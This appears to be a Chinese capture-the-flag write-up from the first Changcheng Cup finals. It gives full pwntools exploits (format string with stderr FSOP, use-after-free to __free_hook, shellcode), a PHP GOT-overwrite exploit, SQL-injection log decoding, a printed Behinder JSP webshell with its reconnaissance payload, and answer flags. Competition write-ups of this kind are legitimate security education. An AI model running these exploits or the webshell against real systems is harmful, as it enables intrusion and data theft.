第一届 长城杯 总决赛wp

news2024/9/24 19:21:27

第一届 长城杯 总决赛 - Ahisec

第一阶段

Zip_guessinteger

第一层bkcrack攻击部分明文,注意偏移

在这里插入图片描述

┌──(root㉿Ten)-[~/tools/Misc/bkcrack]
└─# ./bkcrack -C zip_guessinteger.zip -c breakthroughentry.txt+flag.txt.zip -p 1.txt -o 30
bkcrack 1.6.1 - 2024-01-22
[15:38:10] Z reduction using 13 bytes of known plaintext
100.0 % (13 / 13)
[15:38:10] Attack on 516233 Z values at index 37
Keys: 003e5ac3 885a9927 00c436d9
3.2 % (16406 / 516233)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 16406
[15:38:23] Keys
003e5ac3 885a9927 00c436d9

根据着三个key直接创建一个新的压缩包和密码

./bkcrack -C zip_guessinteger.zip -k 003e5ac3 885a9927 00c436d9 -U easy.zip 123

然后解压缩分析

guessinteger

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传​

根据以上代码分析,我们要满足其值条件才会生成一个breakthroughentry.txt对另一个压缩包进行攻击

但是这题出题人出了一个小问题,直接把明文就丢出来了,根本不需要去满足啥条件,直接复制粘贴,只要注意一下\r\n就可以了

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后使用7zip进行压缩,最后直接使用Advanced Archive Password Recovery就可以攻击成功

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

BlindFlowanalyis

虽然有很多sql盲注,但是过滤大小的时候就可以发现有union select

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在webflow1.pcap里面发现secret表,并且里面含有私钥

在webflow2.pcap里面发现flagdata表,并且里面含有密文

并且都是用户对应用户,最后的用户都是admin

私钥

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

密文

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后编写脚本进行解密,注意admin私钥的开头有问题,需要将MTTC替换成正常的MIIC

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

from Crypto.PublicKey import RSA
import libnum
import gmpy2
# with open("private.pem", "rb") as f:
#     key = RSA.import_key(f.read())
#     print("n = %d" % key.n)
#     print("e = %d" % key.e)
#     print("d = %d" % key.d)
#     print("p = %d" % key.p)
#     print("q = %d" % key.q)


# strs = "MTTC3TBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIVLQmLXnlUYkCAggAMAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBBCQKgOObf2BrhJ9tHvAb4oBIICgP3WaNdtO3oTAX1GjdqBL0f6HvFZ9q25EIOAah78rfhKNrJQP0uHHUnbIDKUZTSMwNZ7kNQAAnJPdjwhZVNbymCjUrVvqs0VD8GWncUlIIxrAkpsgqioABSKLoy280ubg2s1IV/sqbuuvN4ldPvnAvyrLLnNLgGyU86v2Q1ArFWfG4kgeZSpW06W6TwgeIZbjRSnLKFXx1VEhpZSCOadg/HOh8BfLbFlZiWgDiuTdVSzGq34fLV8jKYfUjhEffh/tCNhjU5E8M6ItqgXZYyjbBO2ujewBzV1JiBE0QvcavwT8JvV2IDQXBtQmBJZXH4Vqoo2n5YmUgUFDxoZSdAqOfh5kcgO0OgORhOrX/qNisaDfBMwGx2csywJBuSujzZ3ckV3Gv2ysMzRPKfyZ/v10zElsrKZHci2wDMZ4XYqNyvPDafWaxkSNXP64eYRS8J6WVgWycaPq0LkoJnuxtmOnlYlZ8cmY2zOf4WfyG7X+NhK6CllS0or2Y7fuqo80dmGTrg7cuVA1GguRMA6qZAOlbqu8zT53vGUOIHDRQFb8DUU5H6t+I3e0+0Qj8ZwgTtUMCx2/WLc0YAq18Al9okrtsxuYIQ815SSxXKOXZsX93hACLEFFkKOW7vNdBMJdVJnbPoaMotkDYtH/d8TYPrrtyOhPRa/Xl8BzA9J40Z3PE+5XaQfTC4Wx9GMb3y/Dv1lVXrAd9XvCPD8jr6tu+aQWpMAq0uLpF0kgyS/5FDfIpiEHMMuRQ+FBKS58HWVkX1yKNmXkljJRpwe53AHLuDgt+0LNhry+5ck2GFH7bkxU13WmotrtUtnSdIX7FZrQzbJmbwHiyMi7oGdKT7vxkr3aFY="
# for i in range(0,len(strs),64):
#     print(strs[i:i+64])

# from Crypto.PublicKey import RSA
#
# # 读取加密的私钥文件
# file_in = open("private.pem", "rb")
# encrypted_key = file_in.read()
# file_in.close()
#
# # 密码爆破函数
# def passphrase_cracker():
#     # 读取密码字典文件
#     with open("pass.txt", "r",encoding="utf-8") as file:
#         passwords = file.readlines()
#
#     # 尝试每个密码
#     for password in passwords:
#         passphrase = password.strip()
#         try:
#             key = RSA.import_key(encrypted_key, passphrase=passphrase)
#             print(f"Passphrase cracked: {passphrase}")
#             print("n = %d" % key.n)
#             print("e = %d" % key.e)
#             print("d = %d" % key.d)
#             print("p = %d" % key.p)
#             print("q = %d" % key.q)
#             break  # 如果找到正确的密码,停止循环
#         except ValueError:
#             continue
#
#
# # 调用密码爆破函数
# passphrase_cracker()

n = 136024092362152689710172713899392826085562613819502637163574709012959800908069097569347489959246188000879909455954675900898187256462694001680199507890264369748020986792003039927832146357618380320485640247974651461597017754521523478582789651823653650205470697891883134131193787384293246455773119816555908050877
e = 65537
d = 96983349311172448114610684077344531859866705158061854017461211652174689366790434748659538326833645524163686606777761277160529104669611099325734812475218305914063705028257975357368955813173682894994622796568980398528404622799756620123598161913849740935593865664141149764560174893499019267153779766584891066853
p = 12048894621399454101058574170146672880023504304935502855438830209547540828334463319100866266089541071671086068945870668091434002554455832672446379382564831
q = 11289342021513486663717934560260253958877903230700176094000844663541917077757746704211638621740652499799934180688739478331856827700031454191788549757111267

c = "MDgnetOpihRoTmbreC2P7EQqkmeHloAWQ0SA2gKuHWPUP3u8u81ewsTnlyhvc7qLMMpVl36M9Z0Hu++yIKt2C/mimOFH04ixQAUo5y8h8vajw7vRLwfhpxC+pSjWvxjP2ieWVgdmXraijq92K6vdXod/SVaOyBT/1/asqhq1abQ="

import base64

c = base64.b64decode(c.encode())
c = libnum.s2n(c)

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))



flag{182w3t-he5dr4y8g-gy590-gggtd46nd-dgw3456utg676}

kernel

分值:200

  • 一个简单的xtea

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 写哥decrypt 直接出
#include<stdio.h>


void xtea_encryt(unsigned int rb, unsigned int *buf, int *key)
{
  unsigned int v3; // [rsp+0h] [rbp-28h]
  unsigned int v4; // [rsp+4h] [rbp-24h]
  unsigned int v5; // [rsp+8h] [rbp-20h]
  unsigned int i; // [rsp+Ch] [rbp-1Ch]

  v4 = *buf;
  v5 = buf[1];
  v3 = 0;
  for ( i = 0; i < rb; ++i )
  {
    v4 += (key[v3 & 3] + v3) ^ (v5 + ((v5 >> 6) ^ (4 * v5)));
    v3 -= 1640951535;
    v5 += (key[(v3 >> 11) & 3] + v3) ^ (v4 + ((v4 >> 6) ^ (8 * v4)));
  }
  *buf = v4;
  buf[1] = v5;
}

void xtea_decrypt(unsigned int rb, unsigned int *buf, int *key)
{
  unsigned int v3; // [rsp+0h] [rbp-28h]
  unsigned int v4; // [rsp+4h] [rbp-24h]
  unsigned int v5; // [rsp+8h] [rbp-20h]
  unsigned int i; // [rsp+Ch] [rbp-1Ch]

  v4 = *buf;
  v5 = buf[1];
  v3 = (0x100000000 - 1640951535) * rb;
  for ( i = 0; i < rb; ++i )
  {
    v5 -= (key[(v3 >> 11) & 3] + v3) ^ (v4 + ((v4 >> 6) ^ (8 * v4)));
    v3 += 1640951535;
    v4 -= (key[v3 & 3] + v3) ^ (v5 + ((v5 >> 6) ^ (4 * v5)));
  }
  *buf = v4;
  buf[1] = v5;
}



int main(){
    int key[4];
    key[0] = 0x1234;
    key[1] = 0x3A4D;
    key[2] = 0x5E6F;
    key[3] = 0xAA33;
    unsigned int tmp[2];
    unsigned int flag[] = {0x8CCAF011, 0x835A03B8, 0x6DCC9BAD, 0xE671FA99, 0xE6011F35, 0xE5A56CC8, 0xD4847CFA, 0x5D8E0B8E};
    for(int i=0;i<8;i+=2){
        tmp[0] = flag[i];
        tmp[1] = flag[i+1];
        xtea_decrypt(33,tmp,key);
        flag[i] = tmp[0];
        flag[i+1] = tmp[1];
    }
    printf("%s\n",&flag[0]);
}

  • flag
>>> s = 'galfiLx{QSS1YzRzfM3wePOHCAkJ}m4mp'
>>>
>>> for i in range(0,len(s),4):
...     print(s[i:i+4][::-1],end='')
...
flag{xLi1SSQzRzYw3MfHOPeJkACm4m}p

power_system

  • 先绕过 sha256 的判断,这里有00 截断,所以只需要保证前面三个字节一样即可,然后 print输出pwd, 存在格式化字符串漏洞

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 爆破 sha256
import hashlib


pwd = 'e85000'


for i1 in range(1,0x100):
    for i2 in range(0, 0x100):
        for i3 in range(0, 0x100):
            m = b'-%p-%p-%p-%p'+ bytes([i1,i2,i3]).replace(b'\x00',b'')
            rel = hashlib.sha256(m).hexdigest()
            if rel[:6] == pwd:
                print(m,rel)
                input('>>')
                exit(0)

  • 负向越界写 修改 _IO_2_1_stderr_​ 结构体

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 后面 直接 exit 触发 stderr链子,用的 cat 模板,然后直接动态调试即可

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('202.0.5.76', 7777)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''
#brva 0x01DE1
#brva 0x01F96
b *_IO_wfile_seekoff
#continue
'''.format(**locals())


io = start(binary)


def login(pwd):
    ru('>> ')
    sl('2')
    ru('account : ')
    sl('QAQ')
    ru('password : ')
    sl(pwd)

def adjust(idx,size,text):
    ru('>> ')
    sl('2')
    ru('power: ')
    sl(str(idx))
    ru('size: ')
    sl(str(size))
    ru('staff: ')
    sl(text)

pwd = b'%p \x19\xe2'
pwd = b'-%p-%p-%p-\x8c\xb5\x08'
pwd = b'-%p-%p-%p-%p\xc0R\xb9'
login(pwd)
ru('-0x22-')
libc_base = int(ru('\xc0'),16) - 2016704 + 0x80
#libc_base = int(ru('\xc0'),16) - 0
lss('libc_base')
#exit(0)
lss('libc_base')
libc.address = libc_base

pay = flat({
    0x00: 0,
    0x28: 0xffffffff,
    0x30: 1,
    0x70: b'/bin/sh',
    0x90: libc.sym['system'],
    0x98: libc.sym['_IO_2_1_stderr_']+0x70,
    0xa0: libc.sym['_IO_2_1_stderr_'],
    0xd8: libc.symbols['_IO_wfile_jumps'] + 0x30, # vtable # 可以控制虚表的走向
    0xe0: 0
}, filler=b"\x00")

#gdb.attach(io,gdbscript)
adjust(-2,0,pay[8:])
ru('>> ')
sl('4')
sl(p64(0x31))

itr()

Old_man_v1

分值:200

  • UAF 直接秒
from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('202.0.5.76',9999)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './Old_man_v1'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''

#continue
'''.format(**locals())

io = start(binary)

def add(idx,size,text='A'):
    ru(' needed\n')
    sl('1')
    ru('add?\n')
    sl(str(idx))
    ru('include?:\n')
    sl(str(size))
    ru('about:\n')
    s(text)

def edit(idx,text):
    ru(' needed\n')
    sl('3')
    ru('edit?\n')
    sl(str(idx))
    ru('about:\n')
    s(text)
def show(idx):
    ru(' needed\n')
    sl('2')
    ru('show?\n')
    sl(str(idx))
def rm(idx):
    ru(' needed\n')
    sl('4')
    ru('delete?\n')
    sl(str(idx))



add(0,0x500)
add(1,0x68)
add(2,0x68)

rm(0)
show(0)
libc_base = u64(r(8)) - 4111520
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

rm(1)
rm(2)

edit(2,p64(free_hook))

add(3,0x68,'/bin/sh\x00')
add(4,0x68,p64(system))
lss('libc_base')

rm(3)
#gdb.attach(io,gdbscript)

itr()


外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

SandBoxShell

  • 简单的 ORW flag ,也是直接秒
from pwn import *
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote('202.0.5.76',8888)
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)


binary = './SandBoxShell'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)

gdbscript = '''

#continue
'''.format(**locals())

io = start(binary)
 
pay = asm(shellcraft.cat('/flag'))
sl(pay)                                                                                                                                                                                                      
#gdb.attach(io,gdbscript)

itr()

numberGame

  • 之前D3CTF 的php pwn题研究过,所以可以搞一搞

  • 调试方式,把 ubuntu 22的 gdbserver 上传到 docker 里面

./gdbserver :1234 php -S 0:8080

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 然后就是调试了

  • 贴个exp
<?php

$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";

function u64($leak){
    $leak = strrev($leak);
    $leak = bin2hex($leak);
    $leak = hexdec($leak);
    return $leak;
}

function p64($addr){
    $addr = dechex($addr);
    $addr = hex2bin($addr);
    $addr = strrev($addr);
    $addr = str_pad($addr, 8, "\x00");
    return $addr;
}

function leakaddr($buffer){
    global $libc, $mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}



ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);


echo "\n----1-----\n";
add_chunk(5,[0,0,0,0x80000000,0],"test1"); #需要构造好
#add_chunk(1,[0],"/bin/sh;");
add_chunk(1,[0],"/bin/sh");
$rel = show_chunk(0); # vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值

$heap = $rel[7];
$heap += ($rel[8] << 0x20);

$of = $heap - 72; # 数组起始
#
$str_got = hexdec($mbase[1][0])+ 0x4008;
##
echo "\n----heap-----\n";
echo dechex($heap);
echo "\n----4-----\n";
echo $libc[1][0];
echo "\n----4-----\n";
#
$offset = ($str_got - $of) / 4;

$system = (hexdec($libc[1][0]) + 0x4c490);

echo $offset;
edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system

edit_name(1,'1'); # 


?>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag{9ce574baaa9669609898af3dce30912e}

aesweblog

根据提供脚本发现flag是倒序存放的

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传​

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

而且flag是经过aes加密的,且密钥存放在secrets表中

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag 密文存放在user_flag表中

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

请求日志 url解码

这里开始判断secrets中获取datetime如果为null则返回空,而且这里使用的是二分法判断的
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现secrets表共有24条数据

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

customers表也是共24条数据

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

还判断了user_flag表,其中flagvalue字段共24条

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

共有6个flag,但是这里只要flag1+flag6两个,且flag是以倒叙存放在secrets表(密钥)和user_flag表(密文)

所以我们需要获取secrets表的倒数第一行(SELECT COALESCE(passphrase,CHAR(32)) FROM secrets LIMIT 23,1)

和倒数第6行(SELECT COALESCE(passphrase,CHAR(32)) FROM secrets LIMIT 18,1)

还要获取user_flag表的倒数第一行(SELECT COALESCE(flagvalue,CHAR(32)) FROM user_flag LIMIT 23,1)

和倒数第6行(SELECT COALESCE(flagvalue,CHAR(32)) FROM user_flag LIMIT 18,1)

提取值脚本

import pprint
import re
data = {}
with open("./2.txt","r") as f:
    for i in f.readlines():
        try:
            res = i.split(" ")[15:16][0]
            res2 = res.strip().split(">")
            prex = res2[0]
            hz = res2[1]
            data[prex] = hz
            data.update(data)
        except:
            pass


# pprint.pprint(data)

for v in data.values():
    num = int(re.findall(r"\((.*?)\)",v)[0])
    print(chr(num),end='')
    # print(num,"=",chr(num))

# dict1 = {'a': 1, 'b': 2}
# dict2 = {'b': 3, 'c': 4}
#
# dict1.update(dict2)
# print(dict1)  # 输出: {'a': 1, 'b': 3, 'c': 4}

解密脚本

import sys
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import hashlib

def derive_key(passphrase, salt, iterations, key_length):
    h = hashlib.sha256()
    u = passphrase.encode("utf-8") + salt
    for _ in range(iterations):
        h.update(u)
        u = h.digest()
    return h.digest()[:key_length]

def decrypt_data(passphrase, encrypted_data_b64):
 
    iterations = 10000
    key_length = 16
    salt = hashlib.md5(passphrase.encode("utf-8") + b"saltseed").digest()
    iv = hashlib.md5(passphrase.encode("utf-8") + b"IVseed").digest()

    key = derive_key(passphrase, salt, iterations, key_length)

    decipher = AES.new(key, AES.MODE_CBC, iv)

    encrypted_data = base64.b64decode(encrypted_data_b64)
    decrypted_padded_data = decipher.decrypt(encrypted_data)

    decrypted_data = unpad(decrypted_padded_data, AES.block_size)

    return decrypted_data

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <passphrase> <encrypted_flagdata_b64>")
        sys.exit(1)

    passphrase = sys.argv[1]
    encrypted_flagdata_b64 = sys.argv[2]

    decrypted_data = decrypt_data(passphrase, encrypted_flagdata_b64)
    print(decrypted_data)
"""
7xjo0DHFsoF1Jrus
TJOC6+L+vTajLOGqfJMweoLFZqvJ

lTr01ZNX8R9xotVanrPtKiBjCfQD5U5dD+KLRPgjnQ4=
PgH8ySWqsB1IJEradvOouNWEP5mpHZnu5e9ShkiS1LWLb81hRUjAZLD4zzzxO5Tn

flag1{e6f1573b9496a7f3}
flag6{a85bcfc646ff161c71e520e7cba3}

flag{e6f1573b9496a7f3-a85bcfc646ff161c71e520e7cba3}

"""

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第二阶段

关卡01:

关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡02:

50 分 关卡描述:存在安全问题的apk中使用的登录密码是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡03:

50 分 关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

pic.jpg

关卡04:

150 分 关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

http://202.1.1.66:8080/api/upload

关卡05:

150 分 关卡描述:黑客上传的webshell绝对路径是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡06:

150 分 关卡描述:黑客上传的webshell的密码是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

`<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("bing_pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>`

bing_pass

关卡07

关卡描述:黑客通过webshell执行的第一条命令是什么?

http contains “s74e7vwmzs21d5x6.jsp”

package net.rebeyond.behinder.payload.java;

import java.io.File;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import java.util.Map.Entry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.jsp.PageContext;

public class BasicInfo {
   public boolean equals(Object obj) {
      PageContext page = (PageContext)obj;
      page.getResponse().setCharacterEncoding("UTF-8");
      String result = "";

      try {
         StringBuilder e = new StringBuilder("<br/><font size=2 color=red>鐜鍙橀噺:</font><br/>");
         Map env = System.getenv();
         Iterator entrySet = env.keySet().iterator();

         while(entrySet.hasNext()) {
            String props = (String)entrySet.next();
            e.append(props + "=" + (String)env.get(props) + "<br/>");
         }

         e.append("<br/><font size=2 color=red>JRE绯荤粺灞炴��:</font><br/>");
         Properties var16 = System.getProperties();
         Set var17 = var16.entrySet();
         Iterator driveList = var17.iterator();

         while(driveList.hasNext()) {
            Entry currentPath = (Entry)driveList.next();
            e.append(currentPath.getKey() + " = " + currentPath.getValue() + "<br/>");
         }

         String var18 = (new File("")).getAbsolutePath();
         String var19 = "";
         File[] roots = File.listRoots();
         File[] so = roots;
         int key = roots.length;

         for(int entity = 0; entity < key; ++entity) {
            File osInfo = so[entity];
            var19 = var19 + osInfo.getPath() + ";";
         }

         String var20 = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
         HashMap var21 = new HashMap();
         var21.put("basicInfo", e.toString());
         var21.put("currentPath", var18);
         var21.put("driveList", var19);
         var21.put("osInfo", var20);
         result = this.buildJson(var21, true);
         String var22 = page.getSession().getAttribute("u").toString();
         ServletOutputStream var23 = page.getResponse().getOutputStream();
         var23.write(Encrypt(result.getBytes(), var22));
         var23.flush();
         var23.close();
         page.getOut().clear();
      } catch (Exception var15) {
         var15.printStackTrace();
      }

      return true;
   }

   public static byte[] Encrypt(byte[] bs, String key) throws Exception {
      byte[] raw = key.getBytes("utf-8");
      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
      Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
      cipher.init(1, skeySpec);
      byte[] encrypted = cipher.doFinal(bs);
      return encrypted;
   }

   private String buildJson(Map entity, boolean encode) throws Exception {
      StringBuilder sb = new StringBuilder();
      String version = System.getProperty("java.version");
      sb.append("{");
      Iterator var6 = entity.keySet().iterator();

      while(var6.hasNext()) {
         String key = (String)var6.next();
         sb.append("\"" + key + "\":\"");
         String value = ((String)entity.get(key)).toString();
         if(encode) {
            Class Base64;
            Object Encoder;
            if(version.compareTo("1.9") >= 0) {
               this.getClass();
               Base64 = Class.forName("java.util.Base64");
               Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
               value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{value.getBytes("UTF-8")});
            } else {
               this.getClass();
               Base64 = Class.forName("sun.misc.BASE64Encoder");
               Encoder = Base64.newInstance();
               value = (String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{value.getBytes("UTF-8")});
               value = value.replace("\n", "").replace("\r", "");
            }
         }

         sb.append(value);
         sb.append("\",");
      }

      sb.setLength(sb.length() - 1);
      sb.append("}");
      return sb.toString();
   }
}

pwd

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡08

黑客获取webshell时查询当前shell的权限是什么?

tomcat

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡09

关卡描述:利用webshell查询服务器Linux系统发行版本是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡10

关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡11:

50 分 关卡描述:黑客通过反连执行的第一条命令是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡12:

50 分 关卡描述:黑客通过什么文件修改的root密码(绝对路径)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡13:

250 分 关卡描述:黑客设置的root密码是多少?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡14:

50 分 关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

关卡15:

150 分 关卡描述:黑客通过后门反连执行的第一条命令是什么?

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

第三阶段

202.0.6.233

flag1​

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag2

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag3

flag3{21db4fb5e7cd1d14f041436c4f50ce8c}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag4

http://202.0.6.233/uploads/shell.php

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag5

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag6外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

flag1{9a0fe27c8bcc9aad51eda55e1b735eb5}
flag2{5399019c4053e1a5e756522fe94cdefe}
flag3{21db4fb5e7cd1d14f041436c4f50ce8c}
flag4{efba34b4991857a0c3639a0a31424041}
flag5{a40310f194e1abfec9581d026e29832c}
flag6{bf2bbf3cf5bf7fa02fcfd1f649a03a78}

202.0.6.236

